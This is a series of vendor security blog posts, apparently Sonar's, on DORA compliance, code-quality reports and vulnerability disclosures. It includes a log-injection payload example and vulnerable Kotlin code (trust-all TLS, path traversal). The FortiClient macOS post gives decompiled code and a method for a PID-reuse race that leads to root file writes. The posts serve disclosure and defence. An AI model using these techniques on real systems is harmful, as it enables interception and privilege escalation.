ICT risk management and governance requires financial entities to establish robust frameworks for identifying, protecting against, detecting, responding to, and recovering from ICT risks. This includes implementing comprehensive security policies, conducting regular risk assessments, and ensuring business continuity planning.

ICT-related incident management and reporting harmonizes incident response across the EU, requiring standardized reporting of major incidents within strict timelines—initial notification within 24 hours, intermediate reports within 72 hours, and final reports within one month.

Digital operational resilience testing mandates comprehensive testing programs, including annual vulnerability assessments and, for critical institutions, advanced threat-led penetration testing every three years.

ICT third-party risk management addresses the growing dependence on external technology providers, requiring thorough due diligence, ongoing monitoring, and specific contractual provisions to manage concentration risk.

Information sharing arrangements encourage voluntary participation in threat intelligence sharing to strengthen collective defense across the financial sector.

Oversight of critical third-party providers allows for a continuous monitoring of the activities of ICT third-party service providers for financial entities, while protecting the security and confidentiality of customers.

The software development challenge

For development teams, DORA compliance presents both challenges and opportunities. The traditional approach of addressing security and compliance as an afterthought, often called "security theater”, is no longer sufficient. Instead, organizations must adopt a "secure by design" philosophy that embeds resilience into every stage of the software development lifecycle.

This shift requires more than just good intentions. It demands tools and processes that can identify vulnerabilities early, manage the risks associated with third-party dependencies, and provide the visibility and documentation needed to demonstrate compliance to regulators.

Consider the complexity of modern software development: applications today typically consist of 70-90% open-source components, rely on numerous third-party services, and are deployed across complex cloud infrastructures. Each of these elements introduces potential risks that must be identified, assessed, and managed throughout the application's lifecycle.

SonarQube: Your partner in DORA compliance

SonarQube, developed by Sonar, offers a comprehensive platform for continuous code inspection that directly addresses many of DORA's requirements. By integrating code quality and security analysis seamlessly into the development workflow, SonarQube enables organizations to build compliance into their software from the ground up.

Core security capabilities

At its foundation, SonarQube provides powerful Static Application Security Testing (SAST) capabilities that analyze source code to identify vulnerabilities before applications are deployed. This proactive approach is fundamental to meeting DORA's ICT risk management requirements.

SonarQube's SAST engine uses sophisticated taint analysis to track untrusted user input as it flows through an application, effectively detecting complex injection vulnerabilities like SQL injection and Cross-Site Scripting (XSS) with high accuracy and minimal false positives. This framework-aware analysis understands the security controls of popular development frameworks, improving precision and reducing the burden on development teams.

SonarQube also includes comprehensive secrets detection capabilities, scanning for hundreds of patterns covering popular technologies and providers. By integrating with developer IDEs, it can prevent credentials, API keys, and tokens from ever being committed to repositories, a critical capability for maintaining the confidentiality requirements outlined in DORA.

For organizations embracing Infrastructure as Code (IaC), SonarQube provides scanning capabilities for platforms like Terraform, CloudFormation, Azure Resource Manager, Kubernetes, and Ansible. This ensures that the underlying cloud environments are secure from the ground up, supporting DORA's emphasis on comprehensive risk management.

Advanced Security for third-party risk management

DORA places particular emphasis on managing risks associated with third-party providers and dependencies. This is where SonarQube Advanced Security becomes invaluable, offering Software Composition Analysis (SCA) capabilities that provide comprehensive visibility into the software supply chain.

The SCA capabilities automatically identify known vulnerabilities (CVEs) in both direct and transitive dependencies by cross-referencing against authoritative databases including the National Vulnerability Database (NVD), Open Source Vulnerabilities (OSV), and the CISA Known Exploited Vulnerabilities catalog. It provides crucial context including severity scores, exploitability predictions, and detailed remediation guidance.

Perhaps most importantly for DORA compliance, SonarQube can generate detailed Software Bills of Materials (SBOMs) in standard formats like CycloneDX and SPDX. These inventories are essential for security audits, regulatory compliance, and rapid response to newly discovered vulnerabilities, directly supporting DORA's requirements for maintaining registers of ICT services and managing third-party risks.

The platform's advanced SAST capabilities extend traditional static analysis to include dependency-aware taint analysis. This sophisticated feature traces data flows into and out of third-party libraries, uncovering complex vulnerabilities that arise from the interactions between an application's code and its dependencies, vulnerabilities that other tools often miss entirely.

Supporting digital operational resilience testing

DORA's testing requirements are comprehensive, mandating annual vulnerability assessments and advanced penetration testing for critical institutions. SonarQube supports these requirements by providing continuous security analysis that serves as a foundation for more advanced testing activities.

The platform's Quality Gates feature is particularly valuable for enforcing organizational security standards. These gates can be configured to fail builds if code doesn't meet predefined thresholds for security, reliability, and maintainability, ensuring that only high-quality, secure code progresses to production environments.

For organizations subject to DORA's advanced testing requirements, SonarQube's detailed vulnerability reports and remediation guidance provide essential input for penetration testing activities. By identifying and addressing basic vulnerabilities through automated analysis, security teams can focus their manual testing efforts on more sophisticated attack scenarios.

Compliance reporting and documentation

One of the most challenging aspects of regulatory compliance is demonstrating adherence to requirements through comprehensive documentation. SonarQube addresses this challenge by automatically generating detailed reports that map to major industry security standards, including OWASP Top 10, CWE Top 25, PCI DSS, STIG, and CASA. Sonar addresses critical NIST Secure Software Development Framework (SSDF) practices for protecting and securing software and responding to vulnerabilities, making it essential for a comprehensive, secure development lifecycle.

These reports provide the evidence base needed for regulatory audits and compliance verification, showing not just what vulnerabilities were found, but how they were addressed and what controls are in place to prevent similar issues in the future. For compliance professionals, this automated documentation significantly reduces the burden of preparing for regulatory examinations.

Operational resilience: Beyond compliance

While meeting DORA's requirements is essential, the ultimate goal is building truly resilient systems that can withstand and recover from operational disruptions. SonarQube contributes to this resilience in multiple ways.

By enforcing code quality standards alongside security requirements, SonarQube helps organizations build more reliable and maintainable software. Clean, well-structured code is easier to debug, modify, and enhance, making applications more resilient to change and less prone to unexpected failures.

The platform's AI Code Assurance capabilities are particularly relevant as organizations increasingly adopt AI-assisted development tools. By applying rigorous quality and security checks to AI-generated code, SonarQube ensures that code from any source (human or AI) meets organizational standards before deployment.

SonarQube itself is designed for operational resilience. The platform offers robust deployment options, including a Data Center Edition designed for mission-critical availability and scalability, and a cloud service hosted in geographically redundant AWS data centers with ISO 27001 and SOC 2 Type II certifications.

Implementation strategy: Getting started

For organizations beginning their DORA compliance journey, implementing SonarQube should be approached strategically. Start by integrating the platform into existing CI/CD pipelines to establish baseline security analysis capabilities. This provides immediate value by identifying and addressing obvious vulnerabilities while building familiarity with the platform.

Next, configure Quality Gates to enforce organizational security standards, ensuring that new code meets DORA's requirements for secure development practices. This creates a foundation for ongoing compliance while preventing the accumulation of technical debt.

For organizations with significant third-party dependencies, implementing SonarQube Advanced Security should be a priority. The SCA capabilities provide the visibility needed to manage supply chain risks effectively, while the SBOM generation supports DORA's requirements for maintaining detailed registers of ICT services.

Finally, integrate SonarQube's reporting capabilities into existing compliance workflows. The platform's detailed security reports can serve as evidence for regulatory audits while providing ongoing visibility into the organization's security posture.

The strategic advantage

While DORA compliance is mandatory for EU financial institutions, organizations that embrace its principles proactively gain significant strategic advantages. By embedding security and resilience into the software development lifecycle, they build more robust systems, reduce operational risks, and create a foundation for continued innovation.

SonarQube enables this transformation by making security analysis accessible to development teams while providing the visibility and documentation needed by compliance professionals. Rather than creating friction between development velocity and regulatory requirements, it aligns these objectives by making secure development practices efficient and sustainable.

The financial services industry is entering a new era where digital operational resilience is not just a regulatory requirement but a competitive differentiator. Organizations that can demonstrate robust cybersecurity capabilities while continuing to innovate will be best positioned to thrive in this environment.

Looking forward

As DORA implementation continues to evolve, financial institutions must remain vigilant about emerging threats and changing regulatory expectations. The regulation's emphasis on continuous improvement means that compliance is not a one-time achievement but an ongoing commitment to operational excellence.

SonarQube's continuous analysis approach aligns perfectly with this philosophy. By providing real-time visibility into code security and quality, it enables organizations to adapt quickly to new threats and requirements while maintaining the high standards demanded by DORA.

The integration of AI and machine learning into software development will continue to accelerate, bringing both opportunities and risks. SonarQube's AI Code Assurance capabilities position organizations to harness these technologies safely while maintaining compliance with regulatory requirements.

Conclusion

The Digital Operational Resilience Act represents a fundamental shift in how the financial services industry approaches technology risk. For organizations subject to its requirements, the choice is clear: embrace a proactive approach to digital resilience or face significant regulatory and operational consequences.

SonarQube provides the tools and capabilities needed to make this transition successfully. By embedding security analysis into the software development lifecycle, managing third-party risks effectively, and providing comprehensive compliance documentation, it transforms DORA compliance from a burden into a strategic advantage.

The path to digital operational resilience begins with secure, high-quality code. With SonarQube as a partner, financial institutions can build the robust, compliant systems that DORA demands while maintaining the agility and innovation needed to compete in an increasingly digital world.

For compliance professionals and development teams working together to meet DORA's requirements, SonarQube offers a common platform that speaks both languages—providing the technical capabilities developers need and the compliance evidence that regulators demand. In an era where security and compliance can no longer be afterthoughts, this integration is not just valuable. It's essential.

Tame technical debt with insights from The State of Code: Maintainability report

Anirban Chatterjee — Sun, 20 Jul 2025 22:00:00 GMT

This article explores Volume 3 of a four-part report series. Read the first and second articles.

TL;DR overview

The State of Code: Maintainability report found approximately 53,000 maintainability issues per million lines of code, translating to about 72 code smells caught per developer per month.
The most common code smell in JavaScript is using var instead of block-scoped let and const, while the most common blocker-level issue across languages is unit tests that lack assertions.
Tests without assertions inflate coverage statistics but verify nothing about code correctness, creating a false sense of security that masks regressions.
SonarQube detects these issues in real time and enforces standards through quality gates, helping teams reduce the long-term cost of technical debt.

Forty seconds after its maiden launch, the Ariane 5 rocket, a major European launch rocket, catastrophically failed and exploded in the sky. The cause wasn't an engine malfunction or a structural failure; it was a software bug. A data overflow error, inherited from a reused piece of code, went undetected during testing and caused the rocket’s guidance system to fail. The bug that caused the crash would have been caught before launch if the testing process had included simulations for the new flight parameters; a test with a proper assertion could have flagged the error on the ground.

While few software failures are as spectacular as a rocket explosion, this infamous example highlights a crucial truth: small weaknesses in code and process can lead to devastating consequences. These issues contribute to the staggering annual cost of poor software quality in the U.S., which has climbed to over $2.41 trillion. Much of this cost stems from the daily friction and hidden risks within code that is difficult to understand, modify, and maintain.

But what do these issues look like in the code being written today?

Find out in the third installment of The State of Code report series, focusing on highlighting the common maintainability challenges we found across global codebases. Following our deep dives on reliability and security, this report unpacks the most common "code smells"—weaknesses in design that slow down development, increase technical debt, and elevate the risk of future bugs and failures.

Our findings are drawn from an analysis of Sonar's massive dataset from the last six months of 2024, which includes:

More than 7.9 billion lines of code
Contributions from over 970,000 developers across more than 40,000 organizations
Analysis of Java, JavaScript, TypeScript, Python, C#, C++, and PHP

The analysis was revealing. On average, for every million lines of code, Sonar found approximately 53,000 maintainability issues. That translates to about 72 code smells caught per developer per month, representing a silent but significant drain on team efficiency. Below we highlight some of the most frequent problems we uncovered.

1. Improper JavaScript variable declarations

The most frequently found code smell relates to how variables are declared in JavaScript. Specifically, it’s the use of the legacy keyword var instead of the modern, more precise let or const.

Why it's a problem: For developers, this creates frustrating debugging sessions spent hunting down why a variable has an unexpected value. For development managers, this translates directly to lost productivity and increased technical debt. The time teams spend chasing these hard-to-find bugs is time not spent on innovation.
How to fix it: Modern JavaScript introduced let and const to give variables stricter, block-level scope and prevent accidental reassignment. SonarQube helps enforce these modern standards by automatically detecting the use of var and providing real-time feedback within the developer's IDE. This ensures code is more predictable and easier to maintain.

2. Tests that don't test anything

The most common "blocker" maintainability issue found by our analysis involves unit tests that lack assertions. An assertion is the part of a test that actually verifies if the code produced the correct outcome. Without it, a test only confirms that the code ran without crashing.

Why it's a problem: These tests provide no real value while inflating test coverage statistics, which can mislead developers about the true health of a project. When a regression inevitably occurs, the team is caught by surprise because their tests failed to catch it. This erodes confidence in the testing process and makes it harder to assess true code quality.
How to fix it: A good test must verify a specific, expected outcome. SonarQube enforces this by flagging tests without assertions as a blocker issue that should be addressed immediately. This ensures that tests are meaningful and that test coverage metrics accurately reflect how well the code's behavior is actually being validated.

Conclusion: Building a foundation for the future

Addressing maintainability is crucial for the long-term health of any software project. It directly impacts developer productivity, reduces the risk of future bugs, and lowers the total cost of ownership. As AI coding assistants generate more code than ever, ensuring the quality of the human-written code they learn from is paramount.

This report offers a first step toward understanding the most common maintainability issues affecting development teams today. By catching these problems early, teams can build a more stable, resilient, and secure foundation for the future.

These findings are just the beginning. Download The State of Code: Maintainability report to see:

The top five maintainability issues we found in nearly 8 billion lines of code
The most common blocker maintainability issue found by SonarQube
Actionable solutions to help you eliminate these issues

Stay tuned for the next report in our series, where we’ll explore language-specific challenges impacting codebases globally.

Securing Kotlin Apps With SonarQube: Real-World Examples

Paul Gerste, Oskar Zeino-Mahmalat — Tue, 15 Jul 2025 15:00:00 GMT

TL;DR overview

SonarQube's Kotlin security analysis demonstrated real-world detection capability on two open source Android apps: a TLS misconfiguration in Read You (an RSS reader) that allows network traffic interception, and a path traversal in the receive_sharing_intent Flutter plugin.
The TLS flaw involves OkHttp configuration that disables certificate validation, allowing a network attacker to intercept encrypted communications between the app and RSS feed servers.
The path traversal flaw in the Flutter plugin exploits Android's Intent sharing mechanism: a malicious app can craft a content URI that causes the receiving app to access files outside its intended data directory.
These findings validate SonarQube's Kotlin/Android analysis for production use; Android developers should enable Kotlin security rules in their quality profiles and integrate SonarQube into their mobile CI/CD pipeline.

Kotlin has become a language of choice for modern Android development, and its popularity among backend developers is also increasing. As Kotlin's use grows, so does the demand for specialized security tools. That's why we at Sonar have enhanced our powerful static analysis engine to provide advanced security scanning for Kotlin code.

In this blog post, we'll demonstrate our new Kotlin security analysis features by walking you through two real-world vulnerabilities uncovered by SonarQube Cloud. First, we'll look at a security misconfiguration in the Read You Android app that allows attackers to intercept encrypted communications. Then, we'll explore a more intricate Path Traversal taint flaw in the receive_sharing_intent package, which shows the security challenges of inter-app communication on Android. For each flaw, we'll break down the technical details, explain how an attacker could exploit them, and discuss the recommended patches

Read You: Trusting all certificates

Read You is an open-source RSS reader for Android with over 6000 stars on GitHub. It periodically fetches RSS feed content from the user-configured URLs, for which it uses the popular OkHttp library. When scanning Read You's code base with SonarQube, an issue was raised about the usage of TLS:

View the issue on SonarQube Cloud

When establishing a secure HTTPS connection, an application must validate the web server's TLS certificate to cryptographically ensure it is communicating with the correct server. This verification logic is built into the OkHttp library and is safe by default, but Read You modifies it by implementing its own, non-validating trust manager when the trustAllCerts parameter is set to true.

The parameter defaults to true, so we had to further investigate the source code to see if it is ever set to a different value. The code from the issue is inside the setupSsl() function, and this function is only called from the cachingHttpClient() function:

app/src/main/java/me/ash/reader/infrastructure/di/OkHttpClientModule.kt:

fun cachingHttpClient(
  // ...
  trustAllCerts: Boolean = true,
  // ...
): OkHttpClient {
    // ...

    if (!clientCertificateAlias.isNullOrBlank() || trustAllCerts) {
        builder.setupSsl(context, clientCertificateAlias, trustAllCerts)
    }

    return builder.build()
}

Here, the value passed to the trustAllCerts parameter comes from a parameter with the same name. This parameter also defaults to true, and its value is not overridden when cachingHttpClient() is called:

app/src/main/java/me/ash/reader/infrastructure/rss/provider/ProviderAPI.kt:

abstract class ProviderAPI(context: Context, clientCertificateAlias: String?) {

    protected val client: OkHttpClient = cachingHttpClient(
        context = context,
        clientCertificateAlias = clientCertificateAlias,
    )
        .newBuilder()
        .addNetworkInterceptor(UserAgentInterceptor)
        .build()
    // ...
}

This means that certificate verification is never enabled in Read You, allowing all communication to be intercepted by a Man-in-the-Middle (MitM) attacker!

An attacker can exploit this by positioning themselves as a Man-in-the-Middle (MitM) between the victim's device and the internet. A common scenario for this is setting up a malicious Wi-Fi access point that looks like a free Wi-Fi offering in a public place.

Because the Read You app does not validate TLS certificates, the attacker can present a self-signed certificate, intercept the connection, and then read or modify all data exchanged between the app and the server. This allows the attacker to see which articles the user is reading, modify the content of those articles to show fake information, or even steal credentials if the user connects to a password-protected RSS feed.

Patch

To fix such a vulnerability, always use the default trust manager provided by the platform, which correctly performs certificate and hostname validation. A feature to allow self-signed certificates for specific feeds should be an explicit user choice, with clear warnings about the risks involved. Unfortunately, we were not able to reach the maintainer of Read You, so the vulnerability remains unfixed. We therefore chose to publish about it so that users can make an informed decision whether or not they want to continue using the app.

receive_sharing_intent: When sharing becomes insecure

receive_sharing_intent is a popular Flutter plugin that allows an application to receive data shared from other apps via Android's Intent system. Flutter, being a cross-platform framework, requires apps and libraries to implement platform-specific logic in the respective native languages. For Android, this includes Kotlin, so the receive_sharing_intent plugin implemented the Intent handling there.

Android Intents and ContentProviders

Android uses so-called Intents for inter-process communication. An app can send an Intent to request an action from another app, such as sharing a file. Intents can contain small amounts of data, but if two apps want to exchange larger amounts of data, they should use a different Android mechanism.

The app that wants to share the data will create and send a content:// URI to the receiving app. This URI points to a ContentProvider, which is a component that manages access to a structured set of data. When the receiving app gets the URI, it uses a ContentResolver to request the data (e.g., the file's content and its display name) from the ContentProvider of the sending app. Any app on the device can expose a ContentProvider, and the data it returns is entirely under its control.

Path traversal via the display name

Coming back to the receive_sharing_intent plugin, we can see that SonarQube raises a Path Traversal vulnerability in its Kotlin code:

View the issue on SonarQube Cloud

In line 99, the plugin requests files from a different app based on the content:// URI it received through an Intent. This returns a cursor that can be used to access multiple files, as well as certain metadata fields per file. One of these fields is the file's display name, accessible through the _display_name column.

This display name is then used to construct a file path in line 104, saved as a File object in the targetFile variable. Later in lines 123-127, this file path is used to write the file's content to disk. However, there is no verification of the display name! This allows an attacker to insert a Path Traversal sequence (../) into the display name, leading to a controlled file write. But how could an attacker even control this?

Android threat model: malicious apps

On Android, apps are much more restricted than applications on a common desktop OS. Permissions guard what an app can do, and most apps only have a restricted set of permissions that are granted by default. Apps that want to perform privileged actions, such as accessing user files, using the camera, or activating the microphone, need to get approval from the user.

To make this permission system work, Android also isolates individual apps from each other. If any app could coerce an app holding a privileged permission to perform actions on its behalf, then the permission would be circumvented. Therefore, apps should not trust other apps and view them as potentially malicious. This might seem overly cautious, but there have been numerous instances of malicious apps installed by millions of users, oftentimes even distributed via the Google Play Store.

In the case of the receive_sharing_intent plugin, any app using it would be vulnerable to the path traversal file write. If a malicious app is installed, it can craft a special Intent containing a content:// URI pointing to its own malicious ContentProvider. When the receive_sharing_intent plugin queries this provider, the malicious provider can respond with a filename containing a path traversal sequence, such as ../settings.xml:

The final impact depends on the specific app. On Android, path traversal vulnerabilities usually have less impact compared to classic server applications. There are more restrictions regarding where an app can write, and most of the file system is read-only for an app. This makes it harder for attackers to increase their impact, but it can still be possible depending on the app at hand.

Patch

As recommended by Android's security documentation, an application should never trust the filename provided by a ContentProvider. The correct approach is to ignore the provided name and instead create a file with a randomly generated name within the intended cache directory:

val uuid = UUID.randomUUID().toString()
val targetDirectory = new File(context.cacheDir, uuid)
targetDirectory.mkdir()
targetFile = File.createTempFile("share", null, targetDirectory)

Timeline

Date	Action
2024-11-21	We report the receive_sharing_intent vulnerability to the maintainer via email
2024-12-09	We ask the receive_sharing_intent maintainer for an update
2025-02-15	We report the Read You vulnerability via a GitHub Security Advisory
2025-03-10	We ping the Read You maintainer in the GitHub Security Advisory
2025-05-19	We remind the Read You maintainer that our 90-day disclosure deadline has elapsed

Summary

The vulnerabilities in Read You and receive_sharing_intent demonstrate some of the security challenges present in Kotlin Android apps. From misconfigurations like disabled TLS validation to more complex flaws in inter-app communication, developers face a significant challenge in securing their code.

These findings underscore the importance of automated security analysis. SonarQube's new, advanced Kotlin scanning capabilities are designed to be a developer's first line of defense, automatically detecting a wide range of security hotspots and vulnerabilities directly in the development lifecycle. By integrating static analysis early and often, development teams can catch and fix critical security issues before they ever reach production, securing their applications and protecting their users.

Visit this page for more guidance on how Sonar can help you build quality mobile apps. You can download a free version of SonarQube here.

The biggest security risks unveiled in The State of Code: Security report

Anirban Chatterjee — Mon, 14 Jul 2025 13:00:00 GMT

This article explores Volume 2 of a four-part report series. Read the first article here.

TL;DR overview

Sonar’s State of Code: Security report found roughly 1,200 security issues per million lines of code, spanning vulnerabilities, security hotspots, and hardcoded secrets.
Common issues include injection flaws and improper input handling, highlighting how untrusted data can lead to exploitable behavior across applications.
The findings show that many risks stem from everyday coding practices, reinforcing the need for secure coding and systematic code review.
Static analysis helps detect these issues early, enabling teams to enforce code quality and security standards and remediate risks before they reach production.

Last week, Sonar launched The State of Code, a report series that provides a look behind the curtain into the real-world state of software development. Today we’re releasing a second report focused on security issues in large codebases as a follow-up to our code reliability report.

This isn’t about hypotheticals. We analyzed a massive dataset from the last six months of 2024—encompassing more than 7.9 billion lines of code from over 970,000 developers—to identify the most common security issues developers encounter in their daily work.

Our analysis found about 1,200 security issues for every million lines of code. Sonar categorizes these issues into three main types to help developers prioritize their work. First, our Static Application Security Testing (SAST) engine finds vulnerabilities (issues that could be directly exploited by attackers and require immediate action) as well as security hotspots (sensitive areas of code that require a manual review to ensure they don't pose a threat). In addition to these security issues, our powerful secrets detection identifies hardcoded credentials like passwords, API keys, and tokens left in the source code.

This article dives into the most frequent security issues we uncovered, why they matter, and how to stop them before they ever reach production.

Top vulnerability: Log injection attacks

The most common security vulnerability we found relates to log injection attacks. This occurs when an application writes unsanitized user-supplied data directly into its logs.

While it may not result in a vulnerability with the application on its own, the primary danger of a log injection lies in its ability to deceive. For example, an attacker could try to log into a system with a username that includes special characters, like: Guest%0d%0aLogin Succeeded for user 'admin'. If the application doesn't sanitize this input, it will write the string to the log file. The special characters (%0d%0a) create a new line, resulting in a fake log entry that looks like a legitimate administrator login. This false trail can mask the attacker's actual activities, mislead security analysts during an investigation, and potentially allow a breach to go undetected for much longer.

Why it's a problem: For developers, administrators, and security analysts, logs are a vital tool for debugging, monitoring, and investigating incidents. When an attacker can forge log entries, they can obscure their activities, frame innocent users, or cause the logs to become so corrupted they’re useless for troubleshooting. For leaders, this is a nightmare. It cripples incident response, blinds security teams, and allows attackers to operate undetected for longer periods, increasing the potential damage of a breach.
How to fix it: The key is to never trust user-supplied data. Developers should always validate or sanitize data before writing it to logs. SonarQube makes this easy by automatically detecting log injection vulnerabilities as you code as part of its SAST capability. With real-time feedback in the IDE and quality gates integrated into your CI/CD pipeline, you can ensure that your code is handling data safely and that these vulnerabilities are caught and remedied long before they can be exploited.

Top hotspot: Cross-site scripting (XSS)

Another frequent vulnerability our analysis found involves reflected cross-site scripting (XSS) attacks. XSS happens when an application includes unsanitized user input in its HTTP responses, allowing an attacker to inject malicious scripts into the web page that is delivered to other users.

In 2018, British Airways suffered a major data breach when attackers compromised its website using an XSS attack. The malicious script was injected into the payment page, allowing the attackers to skim the credit card details of hundreds of thousands of customers.

Why it's a problem: XSS attacks undermine the trust between a user and an application. Attackers can use them to steal session cookies, capture login credentials, deface websites, or redirect users to malicious sites. For developers, this represents a fundamental failure to secure the user experience. For business leaders, a successful XSS attack can lead to significant financial loss, regulatory fines, and severe reputational damage.
How to fix it: To prevent an XSS attack, all user input must be encoded or sanitized before it is included in an HTTP response. SonarQube helps development teams build secure applications from the start by identifying XSS vulnerabilities in real time. By providing clear, actionable feedback within the development workflow, Sonar empowers developers to apply the latest security best practices and ensure their code is resilient against these common attacks.

Build a secure foundation for tomorrow

Understanding and addressing these common security pitfalls is about more than just checking boxes for compliance—it's about building a stable and trustworthy foundation for your applications. In an era where AI coding assistants are generating more code than ever, the quality and security of our existing codebases are paramount, as this code is the primary data used to train these powerful new tools.

These findings are just the beginning. Download The State of Code: Security report today to see:

The top five security vulnerabilities and hotspots we found in nearly 8 billion lines of code
A closer look at the most frequently found source code secrets
Actionable solutions to help you eliminate these issues

Ready for more? Check out the third report in the series where we explore the top maintainability pitfalls.

Caught in the FortiNet: How Attackers Can Exploit FortiClient to Compromise Organizations (3/3)

Yaniv Nizry — Mon, 07 Jul 2025 22:00:00 GMT

TL;DR overview

The concluding part of Sonar's FortiClient vulnerability series presents the complete attack chain, from initial vulnerability exploitation through privilege escalation to full organizational compromise.
The research demonstrates that combining the identified vulnerabilities allows an attacker with limited initial access to achieve domain-level control, bypassing network security controls via a trusted endpoint agent.
This series underscores the need for organizations to treat security software vulnerabilities as a top patching priority—a compromised security agent is more dangerous than a missing one.
FortiNet released patches for the identified vulnerabilities; organizations should apply updates immediately and use endpoint detection and response (EDR) tools to monitor for anomalous security agent behavior.

Welcome back to our Caught in the FortiNet series. In these blog posts, we're uncovering multiple vulnerabilities in FortiClient and the Endpoint Management System (EMS). When chained together, these vulnerabilities could lead to the compromise of an entire organization. In previous posts, we detailed how an attacker could gain initial access within an organization by exploiting FortiClient, then spreading to other endpoints on the network using a vulnerability in the EMS.

In this last article of the series, we will showcase a vulnerability enabling the attacker to go the last mile. Despite compromising all endpoints, an attacker would still be executing code under the same low-privileged user as FortiClient's UI, as the vulnerability leverages weaknesses in the Electron framework of the app. However, during our research on FortiClient, we discovered a local privilege escalation affecting macOS machines running FortiClient.

Impact

Though each vulnerability's impact differs, when chained together, they form a severe threat capable of granting an attacker complete organizational control with minimal user interaction.
The vulnerabilities are tracked as:

CVE-2025-25251: fixed in FortiClientMac 7.4.3 and 7.2.9. Fix is also being backported to 7.0.
CVE-2025-31365: fixed in FortiClientMac 7.4.4 and 7.2.9
CVE-2025-22855: fixed in FortiClient EMS 7.4.3
CVE-2025-22859: fixed in FortiClient EMS 7.4.3; only EMS 7.4 (Linux-based) is affected by this issue.
CVE-2025-31366: fixed in FortiOS and FortiProxy versions 7.6.3 and 7.4.8

In this last part of the series, we will focus on CVE-2025-25251, which affects FortiClient on macOS. This vulnerability allows an attacker who already have execute code capabilities on the victim’s machine to escalate their privileges to root.

Watch the video

Technical Details

As we've covered in previous posts, FortiClient is built upon the Electron framework, which enables convenient cross-platform development and provides a web-based graphical user interface (GUI). This Electron GUI runs as a process under the permission of the logged-in user.

When an attacker exploits CVE-2025-22855 (which we discussed in Part 1), the arbitrary code they execute inherits the same permissions as the exploited process, which means it runs under the current user's privileges. However, FortiClient is powerful software that is capable of enabling VPN connections, running system scans, installing certificates, and more. All of these operations require elevated (root) permissions. So, how does FortiClient achieve this when this process is only running with user privileges?

The Electron UI, while being the visible interface of the application, is only the tip of the iceberg. Beneath it, multiple processes and services run in the background, each with different responsibilities and permissions. This design adheres to the principle of least privilege, separating permission levels and granting only the necessary permissions for each function. The elevated processes, often referred to as "helper tools" and commonly registered as LaunchDaemons, facilitate specific actions that require root access. Since the UI itself doesn't require root, it can run with the current user's permissions.

But when separating components, developers must ensure they still work together seamlessly. This is achieved using XPC (macOS Interprocess Communication):

Apple provides developers with the option to create XPC services, which expose specific functionalities. A client process can initiate an XPC request to a service registered on the machine, thereby triggering particular application logic. Crucially, any process on the machine can act as a "client", initiating a request to any available service currently running. This means it is the sole responsibility of the listener service to authorize the client.

One common method developers use to authenticate and authorize the client process is by verifying its code signature. This is a default requirement on macOS for any executable to run. Within this signature, there's a value called the Team Identifier, which serves as a unique ID for the developer of the software. By using this, an application can ascertain which team developed a given executable and confirm that its code has not been tampered with.

However, when we examined FortiClient's privileged executables and their corresponding XPC verification mechanisms, we discovered a shared vulnerable practice that enables attackers to bypass this crucial security check.

PID reuse (CVE-2025-25251)

The main handler of XPC requests starts at the shouldAcceptNewConnection function. Here, Fortinet first retrieves the Process Identifier (PID) of the client's process and then passes it to the isValidPid function:

bool ServiceDelegate::listener:shouldAcceptNewConnection:
               (ID param_1,SEL param_2,ID param_3,ID param_4)
{
  //...
  auVar5 = _objc_msgSend$processIdentifier();
  bVar1 = _objc_msgSend$isValidPid:(param_1,auVar5._8_8_,auVar5._0_8_);
  //...

Within isValidPid, the _proc_pidpath function is used to retrieve the executable path associated with the client's PID.

bool ServiceDelegate::isValidPid:(ID param_1,SEL param_2,int param_3)
{
 //...
 _proc_pidpath((int)uVar3,local_439,0x401);
 Var1 = _verifySignature(local_439);
 //...

This path is then sent to the _verifySignature function, which extracts the executable's code signature and compares its Team ID against a hardcoded Fortinet Team ID.

ulong _verifySignature(ulong param_1)
{
  //...
  if ((param_1 != 0) && (param_1 = _CFStringCreateWithCString(0,param_1,0x8000100), param_1 != 0)) {
    local_38 = 0;
    lVar2 = _CFURLCreateWithFileSystemPath(0,param_1,0,0);
    if (lVar2 == 0) {
      _CFRelease(param_1);
      param_1 = 0;
    }
    else {
      iVar1 = _SecStaticCodeCreateWithPath(lVar2,0,&local_38);
      uVar4 = 0;
      if (iVar1 == 0) {
        local_40 = 0;
        iVar1 = _SecCodeCopySigningInformation(local_38,2,&local_40);
        uVar4 = 0;
        if ((iVar1 == 0) && (local_40 != 0)) {
          team_id = _CFDictionaryGetValue
                            (local_40,*(undefined8 *)PTR__kSecCodeInfoTeamIdentifier_10004c288);
          if ((team_id == 0) || (lVar3 = _CFStringCompare(team_id,&cf_AH4XFXJ7DK,0), lVar3 != 0)) {

While at a glance, comparing the client’s executable signature to Fortinet’s team ID appears to be robust, the way they have implemented it is susceptible to a race condition. An attacker can initiate an XPC request from their malicious client process. Immediately after sending the request, they can use posix_spawn to switch the executable associated with their client's PID to a legitimate Fortinet executable.

If this switch occurs before the listener service fetches the process path from the PID, then the executable that undergoes the signature check will be the legitimate Fortinet executable. Attackers can increase the reliability of this race condition by forking multiple processes and sending numerous XPC messages. This tactic enqueues the messages, slowing down the listener's verification process and extending the time window for the attacker to successfully perform the executable swap.

From vulnerability to impact

This vulnerability allows an attacker, who has already achieved code execution on a victim's machine, to execute arbitrary XPC requests on FortiClient's privileged services. By itself, this doesn't immediately imply any impact, as the attacker's capabilities are limited to the functionality exposed by the XPC services. To execute code with the XPC service's permissions (root), attackers must identify what functions they can invoke and determine if these functions can be leveraged for further exploitation.

In our search for such functions, we discovered the runTool function within the fctservctl2 service. This function offers multiple purposes, determined by the ID provided. Specifically, an interesting code block caught our attention under ID 11:

pFVar3 = _fopen(pcVar2,"r");
//...
pFVar5 = _fopen(local_520,"w");
//... some kind of magic ...
_fwrite(abStack_105a0,(long)iVar1,1,pFVar5);
//...
_fchmod(iVar1,uStack_e8._4_2_);
//...
_fchown(iVar1,local_f0._4_4_,(gid_t)uStack_e8);
_unlink(pcVar2);

This code first reads a file from a path provided in the XPC request.
Creates a new file.
Performs some manipulation on the content of the original file.
Writes the modified content to the new file.
Then updates the file permissions and owner.
Finally, it deletes the original file that was read.

While this sequence of operations might seem unusual at first glance, it makes perfect sense when we understand the function's purpose. FortiClient includes a feature that scans files for malware on the machine. If a malicious file is detected, FortiClient quarantines it by moving it to a restricted folder (/Library/Application Support/Fortinet/FortiClient/data/quarantine_sandbox/). It also modifies the file's content, permissions, and owner to prevent it from being accessed and executed. A common practice among antivirus software.

This specific runTool:11 XPC request is designed to unquarantine a file. It restores all metadata and content of a quarantined file and moves it to a destination defined in the XPC request. If an attacker can create a fake quarantined file and then exploit the PID reuse vulnerability to initiate the unquarantine process, they would effectively achieve an arbitrary file write with root privileges.

